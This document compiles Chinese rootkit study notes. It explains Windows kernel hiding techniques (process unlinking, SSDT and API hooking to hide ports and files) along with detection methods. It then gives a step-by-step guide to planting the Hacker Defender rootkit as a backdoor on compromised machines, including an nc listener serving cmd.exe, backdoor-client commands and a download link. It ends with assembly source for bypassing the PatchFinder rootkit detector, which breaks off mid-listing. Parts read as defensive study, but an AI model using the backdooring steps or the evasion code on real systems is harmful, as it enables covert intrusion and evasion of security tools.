rootkit学习总结2

关于rootkit小资料


一,前言
二,简介
三,rootkit的一些以公开的隐藏技术
四,一些隐藏技术的应对方法
五,about ring0 rootkit
六,rootkit的检测
七,参考资料,推荐
*************************
一.先说几句与技术无关的话。
*************************

二.简单的说说rootkit.

Rootkit的历史已经很悠久了。存在于windows,unix,linux等操作系统中,不只局限在windows,此文我只

以windows平台为例来说rootkit。Root在英语中是根,扎根的意思,kit是包的意思。rootkit我们可以把

它理解成一个利用很多技术来潜伏在你系统中的一个后门,并且包含了一个功能比较多的程序包,例如

有、清除日志,添加用户,b7cmdshell,添加删除启动服务等功能。当然它的设计者也要用一些技术来

隐藏自己,确保不被发现。隐藏包括隐藏进程,隐藏文件,端口,或句柄,注册表的项,键值等等。总

之,写rootkit的人是狡尽乳汁利用很多办法不被发现。
现在人们最熟悉的windows rootkit 就是hacker defender和ntrootkit了,还有使用了baiyuanfan在XCON

提出的ring3 rootkit新思路的byshell,呵呵。而linux下就是knark了。
*************************

三.rootkit的一些以公开的隐藏技术以及检测技术。

1. 删除进程双项链上的进程对象。
ps:用的似乎很多,连现在的一些盗号的程序也利用上了
现在所有人查看进程一般都是通过任务管理器(taskmgr.exe)来查看。了解一些编程知识的人都知道,任

务管理器枚举进程信息是靠的 NtQuerySystemInformation 也就是ZwQuerySystemInformation 函数。众

所周知,这个Native Api (本机API)枚举进程是要通过进程活动链表的。我们就来看看这个结构。
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBDTES, *POBJECT_ ATTRIBUTES;
typedef struct _IO_STATUS_BLOCK
{
NTSTATDS Status;
ULONG Information;
}IO_STATUS_BLOCK , * PIO_STATUS_BLOCK ;
typedef struct _LIST_ENTRY
{
Struct _LIST_ENTRY *Flink;
Struct _LIST_ENTRY *Blink;
}LIST_ENTRY, *PLIST_ENTRY;
双向链表的典型例子就是进程和线程链。内部变量PsActiveProcessHead是一个LIST_ENTRY结构,在

ntoskrnl.exe的数据段中,指定了系统进程列表的第一个成员。仔细想想,如果我们将进程对象从进程

双向链表中移除,那么调用 NtQuerySystemInformation来枚举进程的任务管理器taskmgr.exe中就不会

看到我们的进程了。那么就有人会担心了。如果进程从链表中删除,那还会被运行么?答案是,会。因

为windows的ds,也就是线程分派器,也叫任务调度分配器(dispatcher scheduler)使用的是另一个数据结

构,也就是说,进线程是否被调度处理与进程双向活动链表无关,不会被CPU忽略,不必担心。2003年pjf

在安全焦点上提出的就是这个方法且给出了这个方法的实现代码。文章结尾处的参考资料中我会给出这

个文章的URL。
2.修改系统调用表(sst)
rootkit可以通过在系统调用表中添加添加自己的服务然后运行想要执行的任务。He4HookInv就是这样。

He4HookInv也是一个比较有名的windows rootkit。来看看He4HookInv具体的实现过程。在以前人们不知

道它是如何实现的这些,一些介绍rootkit的文章也是提到一点,不过只知道是修改的SST,细节也没有

过多描述。直到phrack杂志公布了He4HookInv的一些细节。
He4Hook在不同版本所使用的方法是有所不同的。公布的方法中有两种。这里只说说第一种方法。如果想

了解第二种方法和原版就看文章结尾的参考资料吧(phrack的连接)。
ZwCreateFile, ZwOpenFile,IoCreateFile,ZwQueryDirectoryFile, ZwClose 这些函数在Ntdll.dll中是

这样实现的。
mov eax, NumberFunction
lea edx, [esp+04h]
int 2eh; Syscall interface
当然Ntdll.dll是一个main gate,真正的函数调用是在Ntoskrnl中完成的。关于本机API的,可以看参考

资料中我写的另一篇文章《浅析本机API》。
EAX中储存着系统调用号。int 2Eh代表转到中断描述符表IDT位置0x2E处的中断处理程序。中断处理程序

把EAX里的值作为查找表中的索引,去找到最终的目标函数。这个表就是系统服务表SST。ntoskrnl通过

KeServiceDescriptorTable符号,导出了主要SDT的一个指针。我们可以通过 KeServiceDescriptorTable

来访问SDT。现在来看看KeServiceDescriptorTable的结构。
typedef struct SystemServiceDescriptorTable
{
SSD SystemServiceDescriptors[4];
} SSDT, *LPSSDT;
Other structures:
typedef VOID *SSTAT[];
typedef unsigned char SSTPT[];
typedef SSTAT *LPSSTAT;
typedef SSTPT *LPSSTPT;
typedef struct SystemServiceDescriptor
{
LPSSTAT lpSystemServiceTableAddressTable;
ULONG dwFirstServiceIndex;
ULONG dwSystemServiceTableNumEntries;
LPSSTPT lpSystemServiceTableParameterTable;
} SSD, *LPSSD;
KeServiceDescriptorTable 指向的DescriptorTable 只能从内核模式访问。在用户模式下,有一个未输

出的KeServiceDescriptorTableShadow 。底层服务有 :
KeServiceDescriptorTable->SystemServiceDescriptors[0]
KeServiceDescriptorTableShadow->SystemServiceDescriptors[0]
内核模式图形化用户界面服务(GUI):
KeServiceDescriptorTableShadow->SystemServiceDescriptors[1]
在WinNt4(SP3-6)和Win2k build 2195之前的所有版本中,DescriptorTable的其他的元素在写入时是空闲


的,表中每个元素为SSID结构,包含有以下数据:
lpSystemServiceTableAddressTable 指针表,当相关系统调用启用时,它指向被调用的函数内存地址数组


dwFirstServiceIndex 指向第一个函数的开始地址
dwSystemServiceTableNumEntries 表中服务数目
lpSystemServiceTableParameterTable 表示出入栈的字节数目
为了取得系统调用,He4HookInv 用一个指针替代了KeServiceDescriptorTable-

>SystemServiceDescriptos[0]. lpSystemServiceTableAddressTableIn中存储的地址,而指向其所属表


你可以通过在系统调用表中添加自己的服务而界入He4HookInv。He4HookInv将更新以下两表:
- KeServiceDescriptorTable
- KeServiceDescriptorTableShadow.
但是,如果He4HookInv只更新KeServiceDescriptorTable ,新的服务项在用户模式下将不能被调用。为

了定位KeServiceDescriptorTable Shadow ,将用到以下技术:KeAddSystemServiceTable 函数能向内

核驱动层添加服务,而且能向两个表中同时添加。如果它的0指示符是相同的,通过扫描

KeAddSystemServiceTable 函数代码就可以找到shadow 表的地址,具体可以在He4HookInv.c文件中的


FindShadowTable(void)函数中查看是怎么实现的。如果这个办法失败, He4Hook使用一个硬编码的地址

((KeServiceDescriptorTable-0x230)来定位ShadowTable的位置.这个地址从WinNT-sp3来就没有变过.另

外一个问题是如何找到系统服务的编号,这个其实很简单,由于系统服务的函数体都具有以下形式(mov 

eax, NumberFunction),所以我们只要把系统服务的函数地址加上1bytes,就可以得到系统服务对应的编

号。
He4HookInv利用的第二个方法就是修改文件系统驱动中DRIVER_OBJECT的回调表,这里就不在详细说明了


3.端口隐藏
很多人检查自己中没中木马或后门,都会一些方法来查看自己本机所开的端口来判断是否有木马监听,

而有些rootkit就开始想如何隐藏端口了。
最简单的枚举当前所开放的端口信息是调用iphlpapi.dll中的AllocateAndGetTcpTableFromStack和 

AllocateAndGetUdpTableFromStack函数,或者AllocateAndGetTcpExTableFromStack和 

AllocateAndGetUdpExTableFromStack函数。
DWORD WINAPI AllocateAndGetTcpTableFromStack(
OUT PMIB_TCPTABLE *pTcpTable,
IN BOOL bOrder,
IN HANDLE hAllocHeap,
IN DWORD dwAllocFlags,
IN DWORD dwProtocolVersion;
);
DWORD WINAPI AllocateAndGetUdpTableFromStack(
OUT PMIB_UDPTABLE *pUdpTable,
IN BOOL bOrder,
IN HANDLE hAllocHeap,
IN DWORD dwAllocFlags,
IN DWORD dwProtocolVersion;
);
DWORD WINAPI AllocateAndGetTcpExTableFromStack(
OUT PMIB_TCPTABLE_EX *pTcpTableEx,
IN BOOL bOrder,
IN HANDLE hAllocHeap,
IN DWORD dwAllocFlags,
IN DWORD dwProtocolVersion;
);
DWORD WINAPI AllocateAndGetUdpExTableFromStack(
OUT PMIB_UDPTABLE_EX *pUdpTableEx,
IN BOOL bOrder,
IN HANDLE hAllocHeap,
IN DWORD dwAllocFlags,
IN DWORD dwProtocolVersion;
);
还有另外一种方法。当程序创建了一个套接字并开始监听时,它就会有一个为它和打开端口的打开句柄

。我们在系统中枚举所有的打开句柄并通过 NtDeviceIoControlFile把它们发送到一个特定的缓冲区中

,来找出这个句柄是否是一个打开端口的。这样也能给我们有关端口的信息。因为打开句柄太多了,所

以我们只检测类型是File并且名字是\Device\Tcp或\Device\Udp的。打开端口只有这种类型和名字。
而通过察看iphlpapi.dll的代码。就会发现这些函数同样都是调用NtDeviceIoControlFile并发送到一个


特定缓冲区来获得系统中所有打开端口的列表。也就是说,我们挂接NtDeviceIoControlFile函数就可以


隐藏端口。
我们来看看NtDeviceIoControlFile的原型
NTSTATUS NtDeviceIoControlFile(
IN HANDLE FileHandle
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);
我们来看看《The Undocumented Functions-Microsoft Windows NT_2000》中对这些参数的描述
FileHandle
HANDLE to Device Object opened as a file.
Event
Optional HANDLE to Event Object signalled on the end of processing request.
ApcRoutine
Optional pointer to user's APC Routine called on the end of processing request.
ApcContext
User's parameter to ApcRoutine.
IoStatusBlock
IO result of call.
IoControlCode
IO Control code [IOCTL_*].
InputBuffer
User's allocated buffer with input data.
InputBufferLength
Length of InputBuffer, in bytes.
OutputBuffer
User's allocated buffer for result data.
OutputBufferLength
Length of OutputBuffer, in bytes.
主要的就是

FileHandle,IoStatusBlock,IoControlCode,IoControlCode,InputBufferLength,OutputBuffer,OutputB

ufferLength。
摘自《在NT系列操作系统里让自己“消失”》。
还有关于端口隐藏的技术就不提了 因为在我说的文章中已经说的很清楚了,所以在写就是浪费篇幅了。
jiurl也曾经提到过了一种隐藏端口的方法,并且给出了代码。在参考资料中有文章URL。
4 文件隐藏。
在WINNT里在某些目录中寻找某个文件的方法是枚举它里面所有的文件和它的子目录下的所有文件。文件

的枚举是使用NtQueryDirectoryFile函数。
NTSTATUS NtQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan
);
在《The Undocumented Functions-Microsoft Windows NT_2000》中对这些参数的描述
FileHandle
HANDLE to File Object opened with FILE_DIRECTORY_FILE option and FILE_LIST_DIRECTORY 


access.
Event
Optional HANDLE to Event Object signaled after query complete.
ApcRoutine
Optinal pointer to user's APC routine queued after query complete.
ApcContext
Parameter for ApcRoutine.
IoStatusBlock
IO result of call.
FileInformation
User's allocated buffer for output data.
Length
Length of FileInformation buffer, in bytes.
FileInformationClass
Information class. Can be one of:
FileDirectoryInformation
FileFullDirectoryInformation
FileBothDirectoryInformation
FileNamesInformation
FileOleDirectoryInformation
ReturnSingleEntry
If set, only one entry is returned.
FileMask
If specified, only information about files matches this wildchar mask will be returned.
RestartScan
Used with ReturnSingleEntry parameter. If set, NtQueryDirectoryFile continue enumeration 


after last enumerated element in previous call. If no, returns the first entry in 


directory.
与隐藏文件相关的重要参数是FileHandle,FileInformation,FileInformationClass.
FileInformationClass中的相关信息过多,只说其中重要的四个。
FileDirectoryInformation
FileFullDirectoryInformation
FileBothDirectoryInformation
FileNamesInformation
要写入FileInformation的FileDirecoryInformation记录的结构:
typedef struct _FILE_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;


FileFullDirectoryInformation:
typedef struct _FILE_FULL_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaInformationLength;
WCHAR FileName[1];
} FILE_FULL_DIRECTORY_INFORMATION, *PFILE_FULL_DIRECTORY_INFORMATION;


FileBothDirectoryInformation:
typedef struct _FILE_BOTH_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaInformationLength;
UCHAR AlternateNameLength;
WCHAR AlternateName[12];
WCHAR FileName[1];
} FILE_BOTH_DIRECTORY_INFORMATION, *PFILE_BOTH_DIRECTORY_INFORMATION;


FileNamesInformation:
typedef struct _FILE_NAMES_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
这个函数在FileInformation中写入这些结构的一个列表。对我们来说在这些结构类型中只有3个变量是


重要的。
NextEntryOffset是这个列表中项的偏移地址。第一个项在地址FileInformation+0处,所以第二个项在


地址是FileInformation+第一个项的NextEntryOffset。最后一个项的NextEntryOffset是0。
FileName是文件全名。
FileNameLength是文件名长度。
如果我们想要隐藏一个文件,我们需要分别通知这4种类型,对每种类型的返回记录我们需要和我们打算


隐藏的文件比较名字。如果我们打算隐藏第一个记录,我们可以把后面的结构向前移动,移动长度为第


一个结构的长度,这样会导致第一个记录被改写。如果我们想要隐藏其它任何一个,只需要很容易的改


变上一个记录的 NextEntryOffset的值就行。如果我们要隐藏最后一个记录就把它的NextEntryOffset改


为0,否则 NextEntryOffset的值应为我们想要隐藏的那个记录和前一个的NextEntryOffset值的和。然


后修改前一个记录的Unknown变量的值,它是下一次搜索的索引。把要隐藏的记录之前一个记录的


Unknown变量的值改为我们要隐藏的那个记录的Unkown变量的值即可。
如果没有原本应该可见的记录被找到,我们就返回STATUS_NO_SUCH_FILE。
#define STATUS_NO_SUCH_FILE 0xC000000F
同隐藏端口一样。具体请看《在NT系列操作系统里让自己“消失”》。
5,在说一下baiyuanfan在xcon上提出的ring3 rootkit思路。就是通过挂接本机API实现同步与异步端口


复用。利用自删除和复活来隐藏痕迹,不被检测到。
**********************************

四。一些隐藏技术的应对方法

像刚才提到的将进程对象从进程双向链表中删除就有办法突破。刚才其实聪明的人已经想到了。


NtQuerySystemInformation所需要的链表已经被做了手脚。但windows dispatcher scheduler跟他所用


的链表不一样。那么我门可以通过读取windows dispatcher scheduler所用的另一个链表来列出进程。


也就是说可以直接通过读取KiWaitInListHead和KiWaitOutListHead来列举进程,这样就突破了修改双向


链表隐藏进程的方法。pjf的通过读取KiWaitInListHead列出隐藏的进程中给出了代码。
不过这种检测方法不久又被突破了,就是替换内核的进程链表。
还有人提出使用HOOK SwapContext方法来检测。只要被处理器调度的线程就逃不掉。
有些人对这个函数不大了解。我来说说这个函数吧。
WINDOWS 2K/NT/XP系统中,处理器的调度对象是线程,在非SMP的OS中某时间段内当前 CPU 处理的进程


只可能有一个。每个进程分配特定的 CPU 时间片来达到执行目的,而系统的 CPU 时钟中断确定了每个


进程分配的时间片。也就是当系统 CPU 时钟中断触发时,产生的进程调度请求。处理器时钟中断发生的


时候会调用KiDispatchInterrupt(),比较当前进程分配的时间片,如用完后会调用 KiQuantumEnd() 根


据各线程优先级等信息用特定的调度算法选择新的线程(ETHREAD),然后将其返回值,一个 ETHREAD 


结构作为参数,来调用 SwapContext() 设置 ETHREAD,EPROCESS 中的各项参数,并替换 KPCR 中的相


应结构完成线程切换,调度到另一个进程(EPROCESS)的线程(ETHREAD)继续执行。可以说CPU的线程


切换离不开 SwapContext函数,当然,rootkit所执行线程的都会通过SwapContext函数来切换使之被CPU


处理。
而在这之后有人就提出自己替换线程的调度就可以躲过这种检测。
在我看来,这种检测方法会占用很大的资源,毕竟CPU的线程切换非常频繁。如果谁有条件可以自己看看


,一秒内会发生多少次的线程切换。
在第六部分我会说一下rootkit的检测。
*************************

五,about ring0 rootkit

有矛就有盾,有木马就有杀毒软件,但在这场双方之间永无休止的拉锯战中,木马始终处于劣势地位,


尤其是现在,杀毒软件对木马的绞杀,真是到了“无所不用其极”的地步。杀毒软件凭什么能够长期居


于优势地位?原因只有一个:杀毒软件/防火墙先入为主,具有以RING0为主、RING3为辅,大小通吃的天


然优势。木马和杀毒软件/防火墙的战争,是一场不对称的战争,就象基地和美国那样。木马从一个赤裸


裸的网络软件远程控制软件,发展到反弹型木马,DLL型木马,到现在的“隐身”型木马,身上穿的圣衣


越来越厚。但是一个新木马刚刚诞生,很快就被杀毒软件收集特征码,列入黑名单,被到处追杀。当今


“好木马”的必须具备无进程,无端口,难查杀等特征。但是在传统的RING3里,在下认为木马技术已经


没有多少发展空间,必须到RING0去,在平等的条件下和杀毒软件 /防火墙放手一博。向RING0进军,已


经是木马新的发展方向。
和传统的木马相比,RING0木马有什么优势?让我们看看:
1,无进程。
RING0木马编译后是一个SYS文件,它和DLL文件那样,是插入到进程里运行的。但DLL插入的是地址在


0x80000000下的用户区,而 RING0木马插入到地址在0x80000000以上的系统区,而且所有进程共享,只


要它本身不提供unload例程,几乎不可能被卸载,而且没有多少个工具可以列举系统里装载的SYS模块。
2,无端口。
RING0木马可以直接控制网卡收发包,系统和防火墙根本不知道,因此它可以使用任何端口,任何协议。


或者通过使防火墙的NDIS驱动失效,突破防火墙的封堵。
3,难发现,难查杀,生存能力强。但是,要写出这样一匹好马,需要对系统内核和通讯协议非常熟悉的


高手才能胜任,尤其要对ntoskrnl.exe, hal.dll,ndis.sys三个系统模块导出的函数要非常熟悉才行


。另外安装RING0木马需要管理员及以上的权限,如果你只获得了肉机的 GUEST权限,还要想办法提升权


限才行。以上对RING0木马的描述只是一个构想而已,本人没有用代码实现过,也不知道有没有人写出了


这样的木马,希望有人指正指正。不过对于编程爱好者来说,这是一个很大的挑战,能够写出来,足以


证明你的能力了!
**************************

六,rootkit的检测

rootkit和病毒一样,都被杀毒软件厂商“关注”,正如上面about ring0 rootkit中说的一样,是一场

永无休止的拉锯战。很多热爱技术的人,也喜欢挑战他们,所以rootkit的检测技术也不断增加。比如

EPA(执行路径分析)。rootkit如果通过修改系统调用来实现隐藏目的(就像文章第三部分中提到的一

样。),那么肯定会与正常的系统有所不同,当系统调用的路径发生变化的时候,我们通过之间的对比

分析,就可以检测到rootkit的存在。当然,这样做也是有缺点的。每次系统调用发生时都要做检查,那

么就像上面 HOOK SwapContext一样。都会消耗系统的很多资源。其二,实现起来有难度。
还有就是反病毒的方法,就像对付病毒一样。不过这样的方法很被动。而且未公开的rootkit比较多,所

以并不是非常有效。
还有一种新生的检测方法,就是微分测试(Differential testing)。不过很容易突破。估计后面的 

rootkit就可以饶过了……。
检测一些rootkit,各位可以使用pjf的icesword,是一款非常优秀的检测工具了。ICE的枚举进程用了不

只一种方法。不要以为他什么都可以查到。ps:不过在使用的时候不要呼出softice,否则会崩溃,这是因

为ice的反调试机制。也可以试试zzzevazzz的knlsc。不过检测到了以后也是非常难完全清除的,弄不好

会造成系统出现故障。提早防备还是比较重要的。下面来说一些可以预防rootkit的方法。至于防御

rootkit,还是必备杀毒软件,一些已经以知的rootkit还会被查杀。而一些设置可以阻止rootkit植入,

例如禁止访问\Device\ PhysicalMemory 。禁止驱动加载系统调用。不过如果设置的太严格会出问题,

记得我当时胡乱设置,导致植入rootkit的时候BSOD.....
本篇文章来源于 黑客基地-全球最大的中文黑客站 原文链接:http://hackbase.com/tech/2009-11-
03/57634.html
========

介绍一个运行在NT系统下内核级Rootkit及删除方法

入侵了一台电脑后,我们总想留个后门,方便以后进来,现在网上有非常多的免费的
后门,我用了一下,都比较容易被查出来,(如用Fport就可以看见哪个程序打开了哪个端口),
Lion 的Ping 后门,虽然不开端口,但是还是增加了一个ssms服务 亮眼人一下子就会发现的,
在网上找了好久,终于让我找到了一个非常好的Rootkit 呵呵!这就是 "Hacker Defender" 目
前的版本是 0.73 大家可以在 http://rootkit.host.sk/ (一些朋友需要代理才能访问的) 下载
到这个 Rootkit。
这个Rootkit 究竟有什么特殊的功能呢? 首先下载解压后我们来看一下,应该有以下的文件:
------------------------------------------------------------------
hxdef073.exe 50 688 b - program Hacker defender v0.7.3
hxdef073.ini 1 661 b - inifile with default settings
bdcli073.exe 30 208 b - backdoor client
rdrbs073.exe 48 640 b - redirectors base
readmecz.txt 15 553 b - czech version of help file
readmeen.txt 15 523 b - help file
-------------------------------------------------------------------
hxdef073 是主程序,大家不要运行!!!! 
hxdef073.ini 是配置文件
bdcli073.exe 连接后门用客户端
rdrbs073.exe 转向程序(类似与端口转发)
readmecz.txt 捷克斯洛伐克语说明文件
readmeen.txt 英语说明文件


我们要用Rootkit 先要配置一下ini 文件 打开 hxdef073.ini 我简单的介绍
一下各个说明选项
--------------------------------------------------------------
[Hidden Table] ; 要隐藏的列表,支持通配符,比如这里所
hxdef* ;hxdef 开头的都将不在任务管理器及资源管理
rcmd.exe ;器里出现,大家可以自己在这里添加要隐藏的
;文件,目录及进程,一个一行
[Root Processes] ;这里是能够看见隐藏列表里进程,支持通配符
hxdef* ;比如,我喜欢用Wollf ,那就把wollf.exe 加
rcmd.exe ;到这里,这样telnet 到Wollf里就可以看见隐藏
;在列表里的冬冬。
[Hidden Services] ;这里是要隐藏服务的列表,支持通配符,
HackerDefender* ;这里有点问题,我下面会讲


[Hidden RegKeys] :这里是隐藏注册表的Regkey
HackerDefender073
LEGACY_HACKERDEFENDER073


[Hidden Regvalues] ;这里是隐藏注册表的 values


[Startup Run] :这是Rootkit 启动后要运行什么冬冬就把他加到这里
;比如 c:sys
c.exe?-L -p 100 -t -e cmd.exe
;这样nc在Rootkit 启动后就会运行并兼听 100


[Settings] 
Password=hxdef-rulez ;这里设置连接后门用密码,大家自己改吧:)
BackdoorShell=hxdef?.exe ;连进来后shell 的名字,Rootkit会把CMD.EXE复制一份 ;一个份,运行完

毕后就会删掉的
ServiceName=HackerDefender073 ;安装的服务名称
DisplayName=HXD Service 073 ;显示的服务名称
ServiceDescription=powerful NT rootkit ;服务的描述。

[Comments] ; 注解 
--------------------------------------------------------------------
大家把ini 文件配置好后,把 
hxdef073.exe 
hxdef073.ini 
Copy 到对方的机器上运行就可以了,不需要重启机器,Rootkit就会开始工作了!
如果对方开了WWW, FTP, SMTP 我们就可以用 bdcli073.exe连上去
用法 :bdcli073 IP 端口 密码 
比如对方的IP是192.168.0.1 www 端口开在 80 ,Rootkit 的密码是 hxdef-rulez
那我们就可以开个CMD,用这样 "bdcli073 192.168.0.1 80 hxdef-rulez" 
一会儿对方的 "c:winntsystem32"就会出现在我们面前,这可是用 80 端口通讯的,
可以穿过一些防火墙,呵呵! 我自己测试。53端口的DNS 服务也可以作为通讯端口,
哈哈!比一般的后门要强多了吧,不开新的端口,而且Administrator用系统自带的工
具查不到 我们隐藏的文件,进程,及服务!!!对是服务,哈哈种上 Wollf,
Administrator 在服务管理器里也看不见!!那不是天下无敌!!NO!NO!NO!
因为一些原因 在这里还有一些破绽,虽然Administrator在任务管理器里看不见
Wollf 这个进程 ,但是 Fport 却可以看见 wollf 兼听7614 这个端口,晕~ 但是
作者在他的主页写下,他正在增加这个功能,下一个版本将会增加一些代码,到时 
netstat -a -n 与 Fport 等工具将发现不了被隐藏的端口,(本来这篇文章想在新
版本发布时再写的,不过我自己在木马论坛(bbs.mmbest.com 做一下广告)说漏了嘴,
导致了这篇文章的早产 :))还有一些 破绽,因为Rootkit 自身的原因导致了 "it 
is possible to hide registry keys and values, services and files during 
remote sessions."(这是原文大家自己查字典吧)其实就是无法完美的隐藏,
我测试过"DameWare NT Utilities"&srvinstw.exe (W2k Resource Kit 里的工具) 
可以看见隐藏的服务,但看不见隐藏的进程,这是不完美的,因此我们可以
用 "DameWare NT Utilities"&srvinstw.exe 来删除这个 Rootkit运行srvinstw.exe,
选择remove a service,然后选择 HackerDefender073, 同样用 sc.exe 也可以做到,
前提是你知道 Rootkit的安装服务的名字,也许黑客把他会改成其他的名字,呵呵那好办,
打开服务管理器和srvinstw.exe 两个一对照,有那个服务出现在 srvinstw.exe而没有
出现在 服务管理器里那么你就要注意了!! 记下文件的路径和文件名,用软盘启动
,因为那样是不会启动 Rootkit 的 找一下有没有和那个文件名相同的ini ,如果有,
打开来看看里面是什么?删除的方法也很简单,把 exe 和同名的 ini 文件删掉就可以
了,这样 Rootkit再下一次启动时就不会运行了,最好推荐重装系统,谁知道还留下了
其它的什么后门,而且如果是2k你的密码多半被人知道了,再加上 克隆 账号 HoHo~ 
我不知道了........ 

后记: 本来不怎么想写这篇文章的,写出来,国内的很多机器又要遭殃了,我真的
不知道我写这篇文章是对还是错,一些好的网管,也许提高了安全意识,而另一些对
安全所谓的,写也是白写,有些人只要用一下冰河就可以把一些网站玩弄在手掌上,
如果被人种上这个 Rootkit.......

还有我本人是菜鸟一个,跟这个作者一点点关系也没有,虽然很想写一个这样的Rootkit 
可是水平太低,远远不够。作者在主页里写道 下一个版本将在3.1 号发布,感兴趣的朋
友可以关注一下作者的主页,不能访问作者主页的朋友,我已经把这个放到我的主页空间
里了,大家可以通过以下连接下载 http://rootkit.go.3322.org/rootkit/hxdef073.zip
========

绕过Windows Rootkit检测系统


from:xfocus 

[介绍] 

    PatchFinder是一个设计很巧妙的程序,基于EPA(执行路径分析)技术用来检测侵入内核的Rootkit。


附录1和2可以让你了解它是如何工作的。这篇文章将提供一种绕开EPA的方法。 


[方法] 


    EPA基于Intel处理器的单步模式,使用中断描述符表(IDT)的0x01入口。为了防止Rootkit修改这个


入口,它使用调试寄存器(DR0、DR1)来保护调试处理程序(很不错的主意)。由DR0寄存器保护0x1入口,


而由DR1寄存器保护中断处理程序。(注1:) 
    但是,让我们再读一遍Inter Manual [3]:“每个调试地址寄存器(DR0到DR3)保存32位的断点的线


性地址”。注意:线性地址!在Windows 2000/XP下,通过分页机制把线性地址转换为物理地址。假设


IDT的基地址是在0x8003F400,保存在IDTR中,那么IDT的0x01入口地址就是0x8003F408。Intel有关IDTR


的说明:“基地址标明了IDT的0x00入口地址。”WIndows 2000/XP下由CR3寄存器指向的页目录被映射到


线性地址0xC0300000。线性地址是由目录、表和偏移组成,通过分页机制我们将0x8003F408转换为物理


地址就是0x03F00(由实验中得来)。现在我们要做的就是创建一个缓冲区,获取指向缓冲区的指针并修改


页目录和页表使这个缓冲区指向物理地址0x03F00。然后,向这个缓冲区中写入的东西就会写入IDT,并


且不会触发PatchFinder的保护机制。调试寄存器是根本无法保护内存的,因为它们无法保护物理内存。 


[源代码] 


    这里是源代码,由MASM v8.0汇编。因为我喜欢汇编语言:-)完全的源代码可以在www.rootkit.com找


到。 


;---定义IDTR结构------- 
DIDTR STRUCT         ;IDTR 
dLIMIT     WORD     ? 
ibase     DWORD     ? 
DIDTR ENDS 
;----------------------- 


ByepassIDTProtection PROC 


    LOCAL dbgHandler:DWORD 


    LOCAL myIDT:DIDTR 


    LOCAL idtbase:DWORD 
    LOCAL idtbaseoff:DWORD 
    LOCAL idtPDE:DWORD 
    LOCAL idtPDEaddr:DWORD 
    LOCAL idtPTE:DWORD 
    LOCAL idtPTEaddr:DWORD 


    LOCAL varbase:DWORD 
    LOCAL varbaseoff:DWORD 
    LOCAL varPDE:DWORD 
    LOCAL varPDEaddr:DWORD 
    LOCAL varPTE:DWORD 
    LOCAL varPTEaddr:DWORD 


    LOCAL diffoffset:DWORD 


    pushad 


    ;分配一个页大小的内存(从非分页池中分配) 
    invoke ExAllocatePool,NonPagedPoolMustSucceed,01000h 
    mov varbase,eax 
    
    cli                 ;记得恢复 


    invoke DisablePageProtection     ;对XP,Regmon使用的一个很老的技巧 


    sidt myIDT 
    mov eax,myIDT.ibase 
    add eax,08h 
    mov idtbase,eax             ;idtbase = IDT的基地址 + 8字节 


    and eax,0FFC00000h         ;获取IDT地址的目录索引 
    shr eax,22 
    shl eax,2             ;乘与4 


    mov ebx,0C0300000h         ;0C0300000 = 页目录 
    add ebx,eax             ;ebx = [页目录 + 目录索引*4] 
    mov idtPDEaddr,ebx 


    mov eax,[ebx] 
    mov idtPDE,eax             ;eax = IDT地址的页目录入口(PDE) 
    
    mov eax,idtbase 
    and eax,oFFFh             ;获取IDT地址的低12位 =     页内偏移                 mov 


idtbaseoff,eax 


    mov eax,idtbase 
    shr eax,12             ;获取IDT地址的高12位 
    shl eax,2             ;乘与4 


    mov ebx,0C0000000h         ;进程页表映射在0xC0000000开始的4MB空间中 
    add ebx,eax 
    mov idtPTEaddr,eax         ;IDT地址的PTE的地址 


    mov eax,[ebx] 
    mov idtPTE,eax             ;取该地址的PTE 


    mov eax,varbase 


    and eax,0FFC00000h         ;获取varbase的页目录索引 
    shr eax,22 
    shl eax,2 


    mov ebx,0C0300000h 
    add ebx,eax 
    mov varPDEaddr,ebx 
    
    mov eax,[ebx] 
    mov varPDE,eax 
    
    mov eax,varbase 
    and eax,0FFFh 
    mov varbaseoff,eax 


    mov eax,varbase 
    shr eax,12 
    shl eax,2 


    mov ebx,0C0000000h 
    add ebx,eax 
    mov varPTEaddr,ebx 


    mov eax,[ebx] 
    mov varPTE,eax 


    mov eax,varPDEaddr         ;修改PDE为和IDT0x01的一样 
    mov ebx,idtPDE 
    mov [eax],ebx 
    
